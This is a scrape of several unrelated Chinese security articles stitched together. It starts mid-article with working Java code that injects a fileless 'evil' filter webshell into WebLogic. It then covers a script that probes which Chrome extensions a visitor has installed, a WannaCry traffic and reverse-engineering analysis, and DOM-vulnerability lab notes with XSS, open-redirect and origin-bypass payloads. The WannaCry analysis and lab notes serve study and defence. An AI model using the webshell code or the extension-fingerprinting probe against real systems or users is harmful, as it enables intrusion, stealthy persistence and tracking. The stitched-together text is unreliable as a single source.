## 0x02 内存马实现
技术难点主要有以下几点：
* 怎么寻找FilterManager
* weblogic中类加载器机制
### 1\. 寻找FilterManager
weblogic中，context会存放FilterManager。所以，这个问题转换为如何获取context。有两种方法
#### pageContext
jsp页面中的pageContext对象中，存有context对象。可以通过反射获取。这种比较适合直接上传jsp文件获取webshell权限的情况。代码如下
Field contextF = pageContext.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(pageContext);
#### 线程中
这种情况比较适合shiro，T3等反序列化漏洞，在无法上传文件，但是可以直接通过反序列化获取weblogic权限的情况。这种情况下不需要pageContext对象，在线程中查找context对象。代码如下
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
### 2\. FilterWrapper中类加载器机制
这里只针对于加载Filter的情况去讨论。在FilterManager的registerFilter方法中，主要通过FilterWrapper类去包装Filter类。但是FilterWrapper类的构造函数中，并没有可以传递Class的参数，只可以传递ClassName，FilterManager通过ClassName去查找Class。下面我们分析一下实现过程
在FilterManager的loadFilter中，Filter将会在这里实例化。代码如下
weblogic.servlet.internal.FilterManager#loadFilter
boolean loadFilter(FilterWrapper filterWrapper) {
String filterClassName = filterWrapper.getFilterClassName();
filter = (Filter)this.context.createInstance(filterClassName);
filterWrapper.setFilter((String)null, (Class)null, filter, false);
}
在filterWrapper.getFilterClassName中获取FilterClass的名称，然后通过context的createInstance方法去实例化。下面是createInstance的代码
Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
Class<?> clazz = this.classLoader.loadClass(className);
return this.createInstance(clazz);
}
在这里通过调用classloader的loadClass方法去根据名称查找Class。我们知道weblogic自定义了一个classloader，所以我们继续深入loadCLass方法，代码如下
weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized(this.getClassLoadingLock(name)) {
Class res = (Class)this.cachedClasses.get(name);
if (res != null) {
return res;
} else if (!this.childFirst) {
return super.loadClass(name, resolve);
我们可以看出，ChangeAwareClassLoader会首先从cache中查找是否存在待查找的类，如果存在，则直接返回该名称对应的Class。
所以我们为了使自己待动态加载的Filter可以被FilterManager成功查找，最简单的方法是在这个缓存中动手脚。代码如下
/*
第一步，将evilClass加载到classloader的cachedClasses中
*/
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "bingxie") == null) {
// 判断一下，防止多次加载恶意filter， 默认只加载一次，不需要重复加载
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "H4sIAAAAAAAAAKV..........";
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
// 在这里 恶意类名称为 bingxie filter 名称为test
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, "bingxie", evilFilterClass);
上面两个技术难点解决后，我们就可以向FilterManager中动态注册一个Filter。代码比较简单，如下
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
// String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);
## 0x03 成果检验
检查weblogic，无文件落地。重启weblogic后，webshell消失
* * * | 社区文章 |
[+] Author: evi1m0#sec.ly.com
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-01-09
#### 0x01 About
编写过 Chrome 扩展的开发人员都应该清楚在 crx 后缀的包中， manifest.json 配置清单文件提供了这个扩展的重要信息，crx
后缀文件可以直接使用 unzip 解压，Windows 下的安装后解压的路径在：
`C:\Users\Administrator\AppData\Local\Google\Chrome\User
Data\Default\Extensions` ，MacOS 在：`cd ~/Library/Application\
Support/Google/Chrome/Default/Extensions`，其中 manifest.json 的样例：
➜ 0.7.0_0 cat manifest.json
{
"background": {
"scripts": [ "background.js" ]
},
"content_scripts": [ {
"all_frames": true,
"js": [ "content.js" ],
"matches": [ "http://*/*", "https://*/*", "ftp://*/*", "file:///*" ],
"run_at": "document_end"
} ],
"description": "Validates and makes JSON documents easy to read. Open source.",
"homepage_url": "https://github.com/teocci/JSONView-for-Chrome",
"icons": {
"128": "assets/images/jsonview128.png",
"16": "assets/images/jsonview16.png",
"48": "assets/images/jsonview48.png"
},
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApA/pG/flimvWWAeUelHGaQ+IJajQm01JkfK0EYOJPyfsdTkHLwD3Aw16N3zuFkmwz09DcGDT+ehww7GSpW7RpbX5kHrovsqyHXtwt+a2Sp8bYFFdpRPj3+HG6366kNkwttDHMtsDkwuKaBtrQofQe5Ud9mKu9h1FDPwc2Qql9vNtvOqKFhV+EOD0vD2QlliB6sKCteu4nYBlFEkh6pYWRaXdAYSKYdE1SYIuQzE3dk11+KCaAC1T6GffL3sia8n5brVX7Qd+XtXyBzuM54w5e3STwK7uLMhLGDIzHoTcldzWUUflfwuI86VQIFBxPbvXJKqFFFno+ZHs/S+Ra2SPmQIDAQAB",
"manifest_version": 2,
"minimum_chrome_version": "21",
"name": "JSON Viewer",
"permissions": [ "clipboardWrite", "http://*/", "contextMenus", "https://*/", "ftp://*/" ],
"short_name": "JSONViewer",
"update_url": "https://clients2.google.com/service/update2/crx",
"version": "0.7.0",
"web_accessible_resources": [ "assets/options.html", "assets/csseditor.html", "assets/css/jsonview.css", "assets/css/jsonview-core.css", "assets/css/content_error.css", "assets/images/options.png", "assets/images/close_icon.gif", "assets/images/error.gif" ]
}
可以看到关于这个扩展的 content_scripts, desc, homepage, icons 等等配置信息，其中 manifest_version
字段标明现在的 rule 为 2.0 版本，在 2012 年 Chrome 便将 1.0 manifest.json
配置版本的扩展禁止新建在应用市场中，但允许更新，直到 2014 年彻底禁用所有的 version 1.0 版本扩展/应用并更新至
2.0，其中一大部分原因是由于新版规则上安全性的提升。
#### 0x02 Manifest
* 2.0 中关于 CSP 的强制应用，要求开发者配置 content_security_policy ，如果未设置的话则使用 Chrome 的默认 manifest csp 规则；
* 不同于老版本的规则，crx 下的资源文件不再是默认可用（直接访问）的图像、资源、脚本。如果想让网站能够加载其资源就必须配置 web_accessible_resources 清单；
* 删除 chrome.self API ，使用 chrome.extension 替代；
* ...
#### 0x03 script <\--> onload / onerror
在多年前的 ChromeExtensions 探测中我们可以直接探测静态资源文件来判断是否存在，在上面的更新变动中可以看到，如果访问资源则必须在
web_accessible_resources 中声明 LIST （可以使用通配符），拿 json-view 举例：
"web_accessible_resources": [ "assets/options.html", "assets/csseditor.html", "assets/css/jsonview.css", "assets/css/jsonview-core.css", "assets/css/content_error.css", "assets/images/options.png", "assets/images/close_icon.gif", "assets/images/error.gif" ]
访问他们资源的 URL 格式如下：
'chrome-extension://' + id + web_accessible_resources
在测试的过程中我们发现大量的扩展禁止了 iframe 内嵌访问，这里我们可以使用 script 加载页面的差异化来判断是否存在文件：
<script src="chrome-extension://aimiinbnnkboelefkjlenlgimcabobli/assets/options.html" onload="alert('json-view!')" onerror="alert(':(')"></script>
#### 0x04 Chrome Extensions Spider
我们编写了爬虫获取整个[谷歌商店](https://chrome.google.com/webstore/category/extensions?hl=en-US)中的扩展应用（id, name, starts, users, category, url），分类如下：
'ext/10-blogging',
'ext/15-by-google',
'ext/12-shopping',
'ext/11-web-development',
'ext/1-communication',
'ext/7-productivity',
'ext/38-search-tools',
'ext/13-sports',
'ext/22-accessibility',
'ext/6-news',
'ext/14-fun',
'ext/28-photos'
截至 2017年初 谷歌商店扩展应用总数量为 42658 ，我们将这些 crx 全部进行下载分析其 manifest.json 的编写规则，发现 12032
个扩展可以探测，在之后的实际测试过程中也发现探测应用的成功率为 1/3 ~ 1/4 ，比较客观，保存的 JSON 格式如下：
{"web_accessible_resources": ["19.png", "48.png", "i/4000.png"], "name": "Facepad for Facebook\u2122", "stars": 497, "id": "cgaknhmchnjaphondjciheacngggiclo", "url": "https://chrome.google.com/webstore/detail/facepad-for-facebook/cgaknhmchnjaphondjciheacngggiclo", "category": "ext/10-blogging", "users": "11,686"},
{"web_accessible_resources": ["reload.js"], "name": "Refresh for Twitter", "stars": 184, "id": "hdpiilkeoldobfomlhipnnfanmgfllmp", "url": "https://chrome.google.com/webstore/detail/refresh-for-twitter/hdpiilkeoldobfomlhipnnfanmgfllmp", "category": "ext/10-blogging", "users": "31,796"},
{"web_accessible_resources": ["main.css", "lstr.js", "script.js", "images/close.png", "images/back.png", "images/icon19.png", "images/play.png", "images/stop.png", "images/prev.png", "images/down.png", "images/next.png", "images/delete.png", "classes/GIFWorker.js"], "name": "MakeGIF Video Capture", "stars": 309, "id": "cnhdjbfjheoohmhpakglckehdcgfffbl", "url": "https://chrome.google.com/webstore/detail/makegif-video-capture/cnhdjbfjheoohmhpakglckehdcgfffbl", "category": "ext/10-blogging", "users": "55,360"},
{"web_accessible_resources": ["js/move.js"], "name": "Postagens Megafilmes 2.1", "stars": 0, "id": "ekennogbnkdbgejohplipgcneekoaanp", "url": "https://chrome.google.com/webstore/detail/postagens-megafilmes-21/ekennogbnkdbgejohplipgcneekoaanp", "category": "ext/10-blogging", "users": "2,408"},
...
#### 0x05 ProbeJS
通过编写脚本可以加载并探测本地扩展是否存在，虽然需要触发大量的请求来探测，但由于是访问本地资源其速度仍然可以接受，我们过滤出 users 1000
以上的扩展来进行筛选探测（ testing 函数动态创建并删除不成功的 dom 探测节点）：
http://server.n0tr00t.com/chrome/ext_probe.html
...
// json data parse
$.get("ext1000up.json" + "?_=" + new Date().valueOf(), function(ext){
for (let n in ext.data) {
var id = ext.data[n].id;
var name = ext.data[n].name;
var war = ext.data[n].web_accessible_resources;
var curl = ext.data[n].url;
testing(id, name, war, curl);
}
$('#loading').remove();
})
...
* * * | 社区文章 |
# 【病毒分析】WanaCrypt0r勒索病毒分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[ **MerJerson**](http://bobao.360.cn/member/contribute?uid=2530268776)
**预估稿费：700RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【权威报告】WanaCrypt0r勒索蠕虫完全分析报告**
****](http://bobao.360.cn/learning/detail/3853.html) **
**
[**【安全资讯】遭遇WannaCry（想哭）蠕虫怎么办？防御百科帮你忙！**
****](http://bobao.360.cn/news/detail/4166.html)
**
**
**0x1 前言**
近日，外媒和多家安全公司命名的“WanaCrypt0r”勒索病毒，席卷了全国，企事业单位以及教育网成为重灾区。该病毒利用NSA泄露“永恒之蓝”黑客武器攻击windows系统的445端口，如果没有安装MS17-010相应的补丁，用户不需要任何操作，只要开机上网，病毒就可以感染到本地，加密文件，进行勒索。
此次大规模爆出的病毒为典型的蠕虫类勒索病毒，通过网络进行传播。接下来我们针对流量，对病毒行为进行分析。
**0x2 实验环境**
**操作系统：** Windows 7 旗舰版 Services Pack 1
Wireshark 1.12.5
VMware Workstation 12
Process Monitor
**0x3 病毒触发时流量分析**
此次拿到的病毒样本为较早的版本，Twitter上自称@malwaretechblog的英国研究员发现了隐藏的一个“触发开关”。蠕虫启动时会连接固定的url：
<http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com>
如果连接成功则退出程序，连接不成功将继续攻击。
所以最开始我们先对此进行验证。
虚拟机在联网的状态下触发病毒，等待几分钟后并没有发现异常，此时打开wireshark查看期间的流量信息。
请求域名时会向DNS服务器进行解析，所以我们先过滤DNS流量。
很明显，期间有一条DNS请求被捕获，直接查看返回包，回执域名的ip为 54.153.0.145
（此IP为DNS解析到的，不固定，先前回执的还有144.217.254.3和144.217.74.156）
得到IP，那么我们过滤看一下，病毒对这个域名到底有什么数据交换，过滤144.217.254.3，得到结果：
请求过程很简短，三次握手建立连接后进行GET请求，得到返回数据。之后RST强制断掉了连接。
该域名是那名英国安全研究员之后注册的，有趣的是，GET得到的数据：sinkhole.tech – where the bots party hard and
the researchers harder.
恢复快照，回滚到原始环境，之后我们断网状态下，再次运行病毒。
很成功的触发了病毒。此时我们再去查看期间的流量信息：
先过滤DNS，查看有无域名访问请求：
同样是有的，只不过此时断开网络，没有DNS解析回执信息而已。
之后我们查看全部流量，发现大量的异常数据包：
发现了两种异常流量，第一种基于ARP的主机发现，以及针对445端口的TCP
SYN式扫描。根据情报，我们知道，WanaCrypt0r是利用的“永恒之蓝”黑客武器。蠕虫病毒首先周期性的通过ARP探测本网段活跃的主机，与此同时，扫描一些地址的445端口，如果扫描到的主机开启445端口，则病毒会尝试进行植入。
对流量进行统计，针对TCP活动进行观察：
针对大量的外网IP进行455端口探测。
返回快照，多次触发漏洞发现，探测外部ip的地址每次都不尽相同，应该是蠕虫为了扩大传播范围，不仅扫描当前网段进行攻击，而且还随机扫描公网主机进行传播。
**0x5 病毒传播时流量分析**
已经被感染的主机A的ip为192.168.43.101，开始未被感染的主机B的ip为192.168.43.32。两台机子开启后，监视之间流量，可以发现：
主机A对主机B进行了455的端口探测，此时主机B对主机A有一个SYN + ACK
数据包的回复。之后主机A建立连接，发送SMB数据包进行攻击，值得注意的是，在对话过程中，有一个包为：
对比之前Eternalblue工具使用的MS17-010 SMB数据包：
基本可以断定，此次蠕虫使用的攻击代码是Eternalblue工具使用的攻击包。
**0x6 病毒行为分析**
在被攻击机中，创建一个“qweasd”的文件夹，其中放置一些jpg格式的图片，便于之后我们分析加密行为，同时开启Process
Monitor进行对进程行为的监视。
之后十分顺利的被感染了。
查看Process Monitor的记录，我们知道病毒执行时的文件为mssecsvc.exe，所以直接搜索带有mssecsvc.exe的操作行为：
最先找到三条，正式将mssecsvc.exe写入本地的过程，目录为C:Windows，并且之后，mssecsvc.exe创建了名为tasksche.exe的可执行文件，并在稍后启动了他。
先前我们在桌面创建一个名为“qweasd”的文件夹，此时里面的文件已经被加密了，在Process Monitor搜索“qweasd”相关的操作：
此时我们发现tasksche.exe对“qweasd”文件夹进行了大量的查询操作，tasksche.exe正是之前mssecsvc.exe释放出来的应用，
tasksche.exe之后进行了大量的文件操作，那么可以推断tasksche.exe应该和病毒的加密部分有关系。
病毒遍历了“qweasd”文件夹，得到了其下的文件名，之后便创建了QQWWEE1 (1).jpg.WNCRY的加密文件。之后QQWWEE1
(1).jpg和QQWWEE1 (1).jpg.WNCRY频繁的读写操作，应该是加密的过程。但是之后有一条操作值得我们注意：
病毒对原始文件有一个写入操作，长度为1024。此时病毒就破坏了原始文件的完整性，具体行为，之后我们在逆向中查看。
**0x7 病毒逆向分析**
既然病毒每次运行时都会请求固定的域名，那么这个域名一定是被硬编码到程序里的，所以直接Search字符串：
<http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com>
得到的结果为：
将aHttpWww_iuqerf的内容的偏移地址回送给esi，此时aHttpWww_iuqerf中存储的正是域名，F5查看反汇编代码。
函数名WinMain，域名被InternetOpenUrlA函数调用，程序根据v5值进行下一步操作，InternetOpenUrlA返回为真，结束程序，否则，进行下一步操作。这正验证了前面的“秘密开关“。
此时打开Graphs，查看当前函数所在的结构：
在sub_408090中的sub_408000调用RegisterServiceCtrlHandlerA函数，来注册一个功能服务，进入相应查看：
发现是创建一个名为mssecsvc2.0的服务。
从sub_408090 → sub_408000 下发现了sub_407BD0函数，反汇编为：
根据代码，此函数开了两个线程在一直跑什么东西，进入查看后发现
v6, v19, v10, v11为sub_407660函数生成的随机数，赋值给Dest,经
inet_addr转化为ip地址，传入sub_407480函数。
进入sub_407480，发现
*(_WORD *)&name.sa_data[0] = htons(0x1BDu)
（445的16进制为1BD）所以，此处应为病毒随机对外网ip445端口进行扫描。
追溯sub_407480函数，发现sub_4076B0有调用，当sub_407480返回为真，则证明扫描到的主机的455端口开放，病毒会有一系列操作。
sub_407540下的多个函数下有send行为，接着进行追溯。
跳转到byte_42e544,发现此处为伪造数据的地址，根据之前抓包分析的流量：
在IDA中搜索，得到playload存储的地址为：
名为byte_42E54。
在send行为中查询byte_42E54的调用情况
发现在sub_401B70处有调用，至此，对其他主机进行漏洞攻击感染分析到此结束。
在病毒行为分析时，我们注意到进行加密的模块是由mssecsvc.exe释放的tasksche.exe执行的，所以在IDA中直接搜索“tasksche.exe
”
发现了生成文件的行为，目录是在C:Windows下。
之前我们通过Process Monitor发现，病毒会有遍历文件及文件夹频繁的操作，所以在逆向的时候注意下相应的API：
感染的时候我们发现，并不是所有的文件都会进行加密，比如dll文件就没有被加密。此时猜测，病毒只是加密特定后缀的文件，可能是白名单模式，也可能是黑名单模式，在IDA中搜索dll，如果是白名单模式，dll应该被硬编码到病毒中的。但没有查询到相应代码，则病毒可能采取的是黑名单模式，png图片被加密了，那么我们搜索png：
确实如此，向上查看，我们发现，这些被加密的后缀变量名为：
同时在sub_4010FD中调用了，调入其中果然发现了过滤行为：
木马随机生成一个256字节的密钥，并拷贝一份用RSA2048加密，RSA公钥内置于程序中。(函数sub_4019E1)
Aes加密过程(函数sub_402A76)
Rsa加密过程（函数sub_403A77）
在sudb_4041A6函数中调用了sub_4019E1、sub_402A76、sub_403A77，所以sub_403A77是密文写入文件函数。
以上就是文件加密过程分析
文件解密：
Sub_401A45为获取密匙
Sub_40170A函数为解密函数
**0x5 总结**
初次分析病毒，开始并没有思路，拿到样本直接逆向很头痛。因为该病毒为典型的Worm病毒，我们尝试先去分析病毒流量，进程操作等行为，之后针对性的一层层去逆向。从外往里慢慢剖析，文中记录了大量的思路，分享给大家。刚做逆向，还请各位看官指出不足。
**传送门**
* * *
[**【权威报告】WanaCrypt0r勒索蠕虫完全分析报告**](http://bobao.360.cn/learning/detail/3853.html)
**
**
[**【安全资讯】遭遇WannaCry（想哭）蠕虫怎么办？防御百科帮你忙！**](http://bobao.360.cn/news/detail/4166.html) | 社区文章 |
# 梨子带你刷burpsuite靶场系列之客户端漏洞篇 - 基于DOM的漏洞专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 客户端漏洞篇介绍
> 相对于服务器端漏洞篇，客户端漏洞篇会更加复杂，需要在我们之前学过的服务器篇的基础上去利用。
## 客户端漏洞篇 – 基于DOM的漏洞专题
### 什么是DOM？
DOM，全称document object
model，译为文档对象模型。是浏览器对页面元素的分层表示。网站可以使用JS操作DOM的节点和对象以及它们的属性。在DOM的概念中有两个专有名词source和sink，目前梨子还找不到合适的中文翻译。我们暂且理解为DOM操作的入口点和出口点。如果当不安全的payload从入口点传递给出口点则可能存在基于DOM的漏洞。
### source
source是一个JS属性，可以接收用户输入。比如location.search，它可以从查询字符串中获取数据，这也是攻击者比较容易利用的点。还有其他的也是容易被攻击者控制的source，例如document.referrer、document.cookie还有Web消息等。
### sink
既然source是接收用户输入，那么sink就是使用危险的方式处理source的函数或DOM对象。比如eval()就是一种sink，可以处理JS传递给它的参数值。还有一种sink是document.body.innerHTML，攻击者可以向其注入恶意的HTML和JS脚本并执行。
### 什么是污点流(Taint-flow)？
当网站将数据从source传递给sink，然后sink以不安全的方式处理该数据，则可能出现基于DOM的漏洞。危险的数据由source流向sink，所以叫做污点流(Taint-flow)。最常见的source就是URL，通常使用location对象访问。攻击者可以构造一个链接，然后让受害者跳转到指定的页面。例如
goto = location.hash.slice(1)
if (goto.startsWith('https:')) {
location = goto;
}
上面这段代码会检查URL，如果包含以https开头的哈希片段则提取location.hash属性的值并将其设置为window对象的location属性。所以攻击者可以构造这样的URL来利用这个基于DOM的开放重定向漏洞。
`https://www.innocent-website.com/example#https://www.evil-user.net`
经过上面那段代码处理以后，会将<https://www.evil-user.net>
设置为location属性的值，这会自动将受害者重定向到该站点。一般可以用于钓鱼攻击。
### 常见的source
下面列出一些常见的可能触发污点流(Taint-flow)漏洞的source
* document.URL
* document.documentURI
* document.URLUnencoded
* document.baseURI
* location
* document.cookie
* document.referrer
* window.name
* history.pushState
* history.replaceState
* localStorage
* sessionStorage
* IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
* Database
下面几种数据也是可能触发污点流(Taint-flow)漏洞的source
* 反射型数据(已在XSS专题中讲解)
* 存储型数据(已在XSS专题中讲解)
* Web消息
### 以Web消息为source的基于DOM的漏洞
如果网站以不安全的方式传递Web消息，例如，未在事件侦听器中正确验证传入的Web消息的源，则事件侦听器调用的属性和函数可能会成为sink。攻击者可以托管恶意iframe并使用postMessage()方法将Web消息数据传递给事件监听器，然后将payload发送到父页面上的sink。这就以为着攻击者可以以Web消息为source将恶意数据传递到这些所有的sink。
### 如何以Web消息为source构造攻击？
首先我们考虑这样的代码
<script>
window.addEventListener('message', function(e) {
eval(e.data);
});
</script>
这段代码添加了一个事件监听器，在接收到消息时执行里面的data部分。这里我们通过iframe注入这个消息
`<iframe src="//vulnerable-website"
onload="this.contentWindow.postMessage('alert(1)','*')">`
因为事件监听器不验证消息的源，并且postMessage也指定了targetOrigin
“*”，所以事件监听器会接收它并且将payload传递到sink(eval())中执行。
### 配套靶场1：使用Web消息的DOM XSS
我们留意到页面中有这样的代码
我们看到这段代码与上面的还是有点区别的，这里有innerHTML，所以应该使用img搭配onerror这一款XSS payload
经过代码处理以后就会触发XSS
### 配套靶场2：使用Web消息和JS URL的DOM XSS
我们注意到这样的代码
这段代码就是在Web消息中检测是否有http或https字样，如果有，就将其赋给location.href属性，看到href，我们就知道是要用JS伪协议去触发XSS了
经过上面代码处理以后就会触发XSS了
### 源验证
即使事件监听器会验证源，也会在验证过程中发现一些缺陷。例如
window.addEventListener('message', function(e) {
if (e.origin.indexOf('normal-website.com') > -1) {
eval(e.data);
}
});
这种验证方式有很大缺陷，因为它只检查是否包含指定的域，但是并没有检查是否还包含其他的，例如
`http://www.normal-website.com.evil.net`
类似这种URL就可以轻松绕过。这种验证缺陷也会出现在使用startsWith()和endsWith()函数的情况中。例如
window.addEventListener('message', function(e) {
if (e.origin.endsWith('normal-website.com')) {
eval(e.data);
}
});
### 配套靶场：使用Web消息和JSON.parse的DOM XSS
我们可以看到这样的代码
从上面代码得知代码会首先创建一个iframe元素，然后利用JSON.parse解析Web消息，然后根据其中的type字段的值有三种不同的处理方式，为了触发DOM
XSS，我们需要进入第二种处理方式，所以我们构造这样的payload
经过代码处理以后就会触发XSS了
### 那些sink可以导致基于DOM的漏洞？
burp列举出一些可以导致基于DOM漏洞的sink
基于DOM的漏洞类型 | sink
---|---
DOM XSS(已在XSS专题中讲解) | document.write()
开放重定向 | window.location
操纵cookie | document.cookie
JS注入 | eval()
操纵文档域 | document.domain
WebSocket-URL投毒 | WebSocket()
操纵链接 | element.src
操纵Web消息 | postMessage()
操纵Ajax请求头 | setRequestHeader()
操纵本地文件路径 | FileReader.readAsText()
客户端SQL注入 | ExecuteSql()
操纵HTML5存储 | sessionStorage.setItem()
客户端XPath注入 | document.evaluate()
客户端JSON注入 | JSON.parse()
操纵DOM数据 | element.setAttribute()
拒绝服务 | RegExp()
下面我们一个一个地介绍
### 基于DOM的开放重定向
### 什么是基于DOM的开放重定向？
基于DOM的开放重定向就是将输入传递给可以触发跨域跳转的sink时触发的漏洞。例如下面代码以不安全方式处理location.hash
let url = /https?:\/\/.+/.exec(location.hash);
if (url) {
location = url[0];
}
它可以触发跳转到任意域。
### 配套靶场：基于DOM的开放重定向
我们在任意文章页面发现这样的代码
这段代码会检测当前请求URL中是否包含url=http(s)开头的字符串，如果包含则将URL赋给location.href属性，于是我们可以这样构造开放重定向的payload
这样当点击返回首页时就会触发开放重定向跳转到url参数指定的页面
### 哪些sink可以导致基于DOM的开放重定向漏洞？
* location
* location.host
* location.hostname
* location.href
* location.pathname
* location.search
* location.protocol
* location.assign()
* location.replace()
* open()
* element.srcdoc
* XMLHttpRequest.open()
* XMLHttpRequest.send()
* jQuery.ajax()
* $.ajax()
### 基于DOM的操纵cookie
### 什么是基于DOM的操纵cookie？
burp的原话感觉比较啰嗦，通俗来讲，就是利用DOM函数，如document.cookie向cookie注入恶意数据。例如
document.cookie = 'cookieName='+location.hash.slice(1);
下面我们通过一道靶场来看看是如何操纵cookie
### 配套靶场：基于DOM的操纵cookie
我们发现了这样一段代码
发现存在一个DOM操作，得知cookie由一个参数lastViewProduct构成，其值是window.location，即当前窗口的完整的URL，所以我们这样构造payload
这样当构造cookie时就会注入JS脚本进去，为了不被受害者发现，在加载时会立即跳转到首页。
### 哪个sink可以导致基于DOM的操纵cookie漏洞？
* document.cookie
### 基于DOM的JS注入
### 什么是基于DOM的JS注入？
JS注入就是用户输入可以被当成一个JS脚本执行
### 哪些sink可以导致基于DOM的JS注入漏洞？
* eval()
* Function()
* setTimeout()
* setInterval()
* setImmediate()
* execCommand()
* execScript()
* msSetImmediate()
* range.createContextualFragment()
* crypto.generateCRMFRequest()
### 基于DOM的操纵文档域
### 什么是基于DOM的操纵文档域？
当浏览器采用同源策略时会使用document.domain属性，如果两个站点的值是相同的则会被认为是同源，就可以不受限制地互相访问资源，从而发动跨域攻击。
### 哪个sink可以导致基于DOM的操纵文档域漏洞？
* document.domain
### 基于DOM的WebSocket-URL投毒
### 什么是基于DOM的WebSocket-URL投毒？
就是把用户输入作为一个WebSocket连接的目标URL并发出请求。
### 哪个sink可以导致基于DOM的WebSocket-URL投毒漏洞？
* WebSocket构造器
### 基于DOM的操纵链接
### 什么是基于DOM的操纵链接？
就是在当前页面将用户输入的数据写入一个跳转目标中
### 哪些sink可以导致基于DOM的操纵链接漏洞？
* someDOMElement.href
* someDOMElement.src
* someDOMElement.action
### 基于DOM的操纵Web消息
### 什么是基于DOM的操纵Web消息？
就是将用户输入作为Web消息传递给一个文档中，当用户访问时发出恶意请求。
### 哪个sink可以导致基于DOM的操纵Web消息漏洞？
* postMessage()
### 基于DOM的操纵Ajax请求头
### 什么是基于DOM的操纵Ajax请求头？
就是将用户输入写入一个使用XmlHttpRequest对象发出ajax的请求的请求头中
### 哪些sink可以导致基于DOM的操纵Ajax请求头漏洞？
* XMLHttpRequest.setRequestHeader()
* XMLHttpRequest.open()
* XMLHttpRequest.send()
* jQuery.globalEval()
* $.globalEval()
### 基于DOM的操纵本地文件路径
### 什么是基于DOM的操纵本地文件路径？
就是将用户输入作为一个filename参数传递到一个文件处理API中
### 哪些sink可以导致基于DOM的操纵本地文件路径漏洞？
* FileReader.readAsArrayBuffer()
* FileReader.readAsBinaryString()
* FileReader.readAsDataURL()
* FileReader.readAsText()
* FileReader.readAsFile()
* FileReader.root.getFile()
* FileReader.root.getFile()
### 基于DOM的客户端SQL注入
### 什么是基于DOM的客户端SQL注入？
就是以一种不安全的方式把用户输入拼接到一个客户端的sql查询语句中，然后获取意外的结果。
### 哪个sink可以导致基于DOM的客户端SQL注入漏洞？
* executeSql()
### 基于DOM的操纵HTML5存储
### 什么是基于DOM的操纵HTML5存储？
就是把用户输入存储到浏览器的H5存储中
### 哪些sink可以导致基于DOM的操纵HTML5存储漏洞？
* sessionStorage.setItem()
* localStorage.setItem()
### 基于DOM的客户端XPath注入
### 什么是基于DOM的客户端XPath注入？
就是将用户输入拼接到一个XPath查询语句中，与前面的客户端Sql注入类似。
### 哪些sink可以导致基于DOM的客户端XPath注入漏洞？
* document.evaluate()
* someDOMElement.evaluate()
### 基于DOM的客户端JSON注入
### 什么是基于DOM的客户端JSON注入？
就是将用户输入拼接到一个可被解析为json数据结构并由应用程序处理的字符串中，然后构造异常的解析结果。
### 哪些sink可以导致基于DOM的客户端JSON注入漏洞？
* JSON.parse()
* jQuery.parseJSON()
* $.parseJSON()
### 基于DOM的操纵DOM数据
### 什么是基于DOM的操纵DOM数据？
就是将用户输入写入一个使用透明UI或客户端逻辑的DOM区域然后执行异常的DOM操作。
### 哪些sink可以导致基于DOM的操纵DOM数据漏洞？
* scriptElement.src
* scriptElement.text
* scriptElement.textContent
* scriptElement.innerText
* someDOMElement.setAttribute()
* someDOMElement.search
* someDOMElement.text
* someDOMElement.textContent
* someDOMElement.innerText
* someDOMElement.outerText
* someDOMElement.value
* someDOMElement.name
